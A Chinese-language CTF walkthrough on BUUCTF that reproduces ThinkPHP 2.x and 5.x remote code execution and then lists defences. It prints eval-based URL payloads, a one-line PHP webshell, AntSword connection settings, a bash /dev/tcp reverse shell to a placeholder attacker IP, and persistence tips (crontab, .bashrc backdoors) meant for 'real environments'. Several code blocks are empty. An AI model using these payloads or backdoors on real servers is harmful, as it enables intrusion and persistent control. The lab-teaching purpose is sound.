ThinkPHP 2.x & 5.x 远程代码执行漏洞复现与利用(基于 BUUCTF)
ThinkPHP 2.x & 5.x 远程代码执行漏洞复现与利用(基于 BUUCTF)
一、前言
ThinkPHP 是一个广受欢迎的 PHP 开发框架,但其早期版本(2.x 和 5.0.x 至 5.0.23)因设计缺陷存在严重的远程代码执行(RCE)漏洞。这些漏洞允许攻击者通过精心构造的 URL 参数执行任意 PHP 代码或系统命令,甚至实现服务器完全控制。本文基于 BUUCTF 在线靶场,详细复现 ThinkPHP 2.x 和 5.x 的 RCE 漏洞,涵盖漏洞原理、利用过程、蚁剑连接以及后门植入的可能性,旨在帮助安全从业者和开发者深入理解和防范此类漏洞。
本文将分为两部分:
- ThinkPHP 2.x RCE 漏洞:利用模板变量解析缺陷执行代码和命令。
- ThinkPHP 5.x RCE 漏洞:通过框架路由调用任意函数实现代码执行。
二、ThinkPHP 2.x RCE 漏洞复现
1. 靶场环境
BUUCTF 提供在线靶场,无需自行搭建环境。
- ThinkPHP 2.x RCE 漏洞地址:
https://buuoj.cn/challenges#[ThinkPHP]2-Rce
开启靶场,访问页面后,通常显示简陋的 ThinkPHP 2.x 欢迎页面,但后台隐藏着强大的远程命令执行能力 。
2. 漏洞原理
ThinkPHP 2.x 的模板引擎在处理 URL 参数时,直接将参数拼接为模板变量,未进行严格过滤。例如,URL 参数 name=${@phpinfo()} 会被解析为:
1 | |
由于 @phpinfo() 是合法的 PHP 函数调用,服务器会执行 phpinfo() 函数并返回结果。如果结合 eval() 或 assert(),攻击者可通过 GET 或 POST 参数进一步执行任意代码或系统命令,形成完全控制。
3. 漏洞利用过程
步骤 1:测试代码执行(POC1)
使用以下 Payload 测试是否可以执行 PHP 代码:
1 | |
结果:页面返回 phpinfo() 的详细信息,证明代码被成功解析执行 。
步骤 2:执行系统命令(POC2)
利用 eval() 结合 GET 参数执行系统命令(如 ls):
1 | |
参数说明:
name=${@eval($_GET[1])}:通过eval()执行 GET 参数1的内容。1=system(%27ls%27):执行system('ls'),其中%27是 URL 编码的单引号'。- 结果:页面返回目录列表,例如:说明
1
2index.php
flagls命令执行成功。
步骤 3:读取 Flag 文件
尝试读取 /flag 文件内容:
1 | |
结果:页面返回类似以下内容:
1 | |
这表明目标服务器已被完全控制 。
4. 使用蚁剑连接
为了更方便地操作服务器,可以上传一句话木马并使用蚁剑(AntSword)进行交互。
构造 Payload:
使用 POST 参数构造一句话木马:
1 | |
蚁剑配置:
- URL:
http://node3.buuoj.cn:26104/?s=/index/index/name=${@eval($_POST[1])} - 密码:
1(对应$_POST[1]) - 类型:PHP(原生)
- 编码:默认
连接成功后,可使用蚁剑进行:
- 命令行执行
- 文件管理(如上传、下载)
- 终端交互
5. 进一步操作
在真实环境中,可进行以下高级操作:
- 上传 WebShell:
- 在蚁剑中上传一句话木马(如
<?php @eval($_POST['pass']);?>)或冰蝎(Behinder)木马。 - 保存到可访问路径(如
/var/www/html/shell.php)。
- 在蚁剑中上传一句话木马(如
- 反弹 Shell:
- 在 Kali 上启动监听:
1
nc -lvnp 4444 - 在蚁剑中执行:
1
bash -i >& /dev/tcp/你的IP/4444 0>&1
- 在 Kali 上启动监听:
- 持久化后门:
- 添加计划任务(crontab)定时反弹 Shell。
- 修改
.bashrc文件,添加后门命令。 - 写入定时任务(如每分钟执行反弹 Shell)。
三、ThinkPHP 5.x RCE 漏洞复现
1. 靶场环境
BUUCTF 提供 ThinkPHP 5.x 在线靶场:
- ThinkPHP 5.x RCE 漏洞地址:
https://buuoj.cn/challenges#[ThinkPHP]5-Rce
开启靶场,访问页面显示:
1 | |
这表明靶场运行 ThinkPHP 5.x(版本 <= 5.0.23),漏洞复现环境已就绪 。
2. 漏洞原理
ThinkPHP 5.x 的 RCE 漏洞源于框架对 \think\app::invokefunction 方法的未授权访问。攻击者可通过 URL 参数调用 call_user_func_array 函数,动态执行任意 PHP 函数(如 phpinfo、system),并传递参数。
利用链:
1 | |
参数说明:
| 参数 | 含义说明 |
|---|---|
s |
ThinkPHP 路由,访问框架核心类 |
function |
被调用的函数(如 call_user_func_array) |
vars[0] |
实际调用的函数名称(如 phpinfo、system) |
vars[1][] |
函数参数数组(如 whoami、-1) |
3. 漏洞利用过程
步骤 1:信息探测(测试 phpinfo)
构造 Payload 测试漏洞:
1 | |
结果:页面返回完整的 phpinfo() 信息,证明漏洞存在且可利用。
步骤 2:执行系统命令(whoami)
修改 Payload 执行 whoami 命令:
1 | |
结果:页面返回:
1 | |
表明 Web 服务以 www-data 用户运行,命令执行成功。
步骤 3:读取 Flag 文件
尝试读取 /flag 或根目录下的 flag 文件:
1 | |
或:
1 | |
结果:页面返回类似:
1 | |
4. 使用蚁剑连接
与 ThinkPHP 2.x 类似,可构造 POST 参数的一句话木马:
1 | |
蚁剑配置:
- URL:上述地址
- 密码:
1(对应$_POST[1]) - 类型:PHP(原生)
- 编码:默认
连接后可进行文件管理、命令执行等操作。
四、防御措施
1. 升级 ThinkPHP 版本
- ThinkPHP 2.x:升级到更高版本(如 3.x 或 5.0.24+),修复模板解析漏洞。
- ThinkPHP 5.x:升级到 5.0.24 或更高版本,官方已修复 RCE 漏洞。
2. 输入验证与过滤
- 白名单验证:限制
s参数和模板变量,只允许预定义值。 - 过滤危险函数:禁用
eval、assert、call_user_func_array等高危函数。 - 参数校验:对用户输入进行严格过滤,防止注入。
3. 禁用危险函数
在 php.ini 中禁用高危函数:
1 | |
4. 最小权限原则
- 配置 Web 服务器以最低权限运行(如非 root 用户)。
- 限制 PHP 脚本的文件系统访问权限。
5. Web 应用防火墙(WAF)
- 部署 WAF,拦截包含可疑路由(如
\think\app)或函数(如system)的请求。 - 使用正则规则匹配异常 Payload。
6. 安全审计与监控
- 定期扫描 Web 应用,检查已知漏洞。
- 监控服务器日志,及时发现异常请求。
五、总结
| 项目 | ThinkPHP 2.x RCE | ThinkPHP 5.x RCE |
|---|---|---|
| 漏洞名称 | ThinkPHP 2.x RCE | ThinkPHP 5.x RCE |
| 影响版本 | ThinkPHP 2.x | ThinkPHP <= 5.0.23 |
| 漏洞原因 | 模板变量解析未过滤 | 动态函数调用未授权 |
| 利用方法 | GET/POST 参数构造 eval/assert |
GET 请求构造路由 + 函数调用 |
| 关键函数 | eval, assert |
call_user_func_array |
| 检测方式 | 使用 ${@phpinfo()} 探测 |
使用 phpinfo 探测,再尝试 system |
| 练习平台 | BUUCTF(如 node3.buuoj.cn:26104) |
BUUCTF(如 node5.buuoj.cn:27945) |
ThinkPHP 2.x 和 5.x 的 RCE 漏洞利用简单但危害极大,攻击者可通过简单的 URL 构造实现代码或命令执行,甚至完全控制服务器。BUUCTF 靶场为我们提供了便捷的复现环境,通过本文的演示,读者可以深入理解漏洞原理和利用流程。开发者应及时升级框架、加强输入验证、部署 WAF 和监控机制,以有效防范此类漏洞。
免责声明:本文内容仅供安全研究和防护参考,请勿用于非法攻击活动。